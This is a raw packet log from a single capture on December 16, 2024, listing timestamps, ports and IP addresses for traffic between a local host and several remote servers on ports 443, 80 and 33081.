Dec 16, 2024 21:02:26.143102884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.143115044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146115065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.146174908 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146182060 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.146200895 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.146217108 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146239996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146343946 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146364927 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:26.146377087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:26.146408081 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:28.241280079 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:28.362034082 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:28.502501011 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:28.502805948 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:28.623017073 CET	80	49807	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:28.623111010 CET	80	49771	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:28.623116016 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:28.623281002 CET	49771	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:28.623971939 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:28.744965076 CET	80	49807	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:28.807519913 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:28.858319998 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:28.900837898 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:29.020898104 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:29.989132881 CET	80	49807	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:29.989228010 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:30.023113012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:30.144577980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:30.146042109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:30.146193981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:30.266213894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471647978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471716881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471744061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471756935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471793890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471824884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471824884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471833944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471857071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471870899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471880913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471910000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.471925020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471965075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.471966028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.472007036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.472021103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.472043991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.472064972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.472105980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.592256069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.592309952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.592427969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.596321106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.596400023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.663955927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.664014101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.664031982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.664177895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.667960882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.668040037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.668065071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.668183088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.676697016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.676752090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.676803112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.676804066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.685059071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.685153008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.685414076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.693630934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.693685055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.693840981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.701951027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.702007055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.702037096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.702100039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.710489988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.710544109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.710819960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.718854904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.718892097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.718930960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.719475985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.727461100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.727514029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.727538109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.727736950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.735121012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.735173941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.735198975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.735271931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.742918968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.742973089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.743011951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.743223906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.784019947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.784115076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.784209967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.856067896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.856112957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.856147051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.856205940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.857254028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.857342958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.857450962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.862464905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.862519026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.862696886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.867244005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.867337942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.867556095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.872385979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.872461081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.872946978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.877635002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.877717018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.877734900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.878299952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.882388115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.882832050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.882955074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.883167982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.886291981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.886352062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.886598110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.891252995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.891309023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.891381979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.895801067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.895893097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.895900965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.896200895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.900310040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.900563955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.900774956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.900966883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.904968977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.905210972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.905282974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.909704924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.909794092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.910172939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.910310984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.914623022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.914678097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.915796041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.918016911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.918100119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.918154955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.918154955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.921963930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.922019005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.922091007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.925568104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.925621986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.925662041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.926234961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.928936005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.929008961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.929054976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.929394007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.932585955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.932676077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.932826042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.932945967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.936454058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.936594963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.936599016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.936885118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.939990997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.940099001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.940418005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.940651894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.943722963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.943792105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:31.943907022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:31.944098949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.048213005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.048268080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.048293114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.048366070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.049803972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.049856901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.049881935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.049953938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.052603960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.052714109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.053507090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.053657055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.053698063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.053998947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.056452990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.056493044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.056531906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.056592941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.059559107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.059612989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.059639931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.059675932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.062109947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.062297106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.062418938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.064821959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.064892054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.064960003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.067480087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.067559004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.067641973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.070389986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.070446014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.070482969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.070525885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.072621107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.072695017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.072849035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.073045015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.075092077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.075184107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.075306892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.077696085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.077749968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.077792883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.077827930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.080254078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.080312967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.080326080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.080496073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.082797050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.082938910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.082961082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.083197117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.085294008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.085447073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.085469961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.085649014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.087845087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.088063955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.088068962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.088398933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.090447903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.090579033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.091093063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.092885017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.093036890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.093084097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.093192101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.095455885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.095591068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.095623970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.095700026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.097958088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.098130941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.098171949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.099436045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.100557089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.100615025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.100640059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.100776911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.103293896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.103418112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.103456974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.105277061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.105976105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.106069088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.106107950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.106204987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.108144045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.108207941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.108246088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.108366966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.110641003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.110810041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.110960007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.113253117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.113389015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.113420010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.113545895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.115845919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.115905046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.115946054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.116028070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.118350029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.118443012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.118752956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.120857000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.120940924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.120979071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.121573925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.123465061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.123567104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.123788118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.125904083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.125994921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.126036882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.126251936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.128484964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.128590107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.128642082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.128704071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.131037951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.131133080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.131287098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.133584976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.133750916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.134027958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.136092901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.136212111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.136293888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.138694048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.138776064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.138803959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.139118910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.141186953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.141326904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.141331911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.141530037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.143704891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.146150112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.240784883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.240847111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.240896940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.240971088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.241444111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.241838932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.241926908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.241969109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.242048025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.243848085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.243905067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.243944883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.245932102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.246011019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.246011019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.246685028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.247981071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.248092890 CET	80	49812	31.41.244.11	192.168.2.4
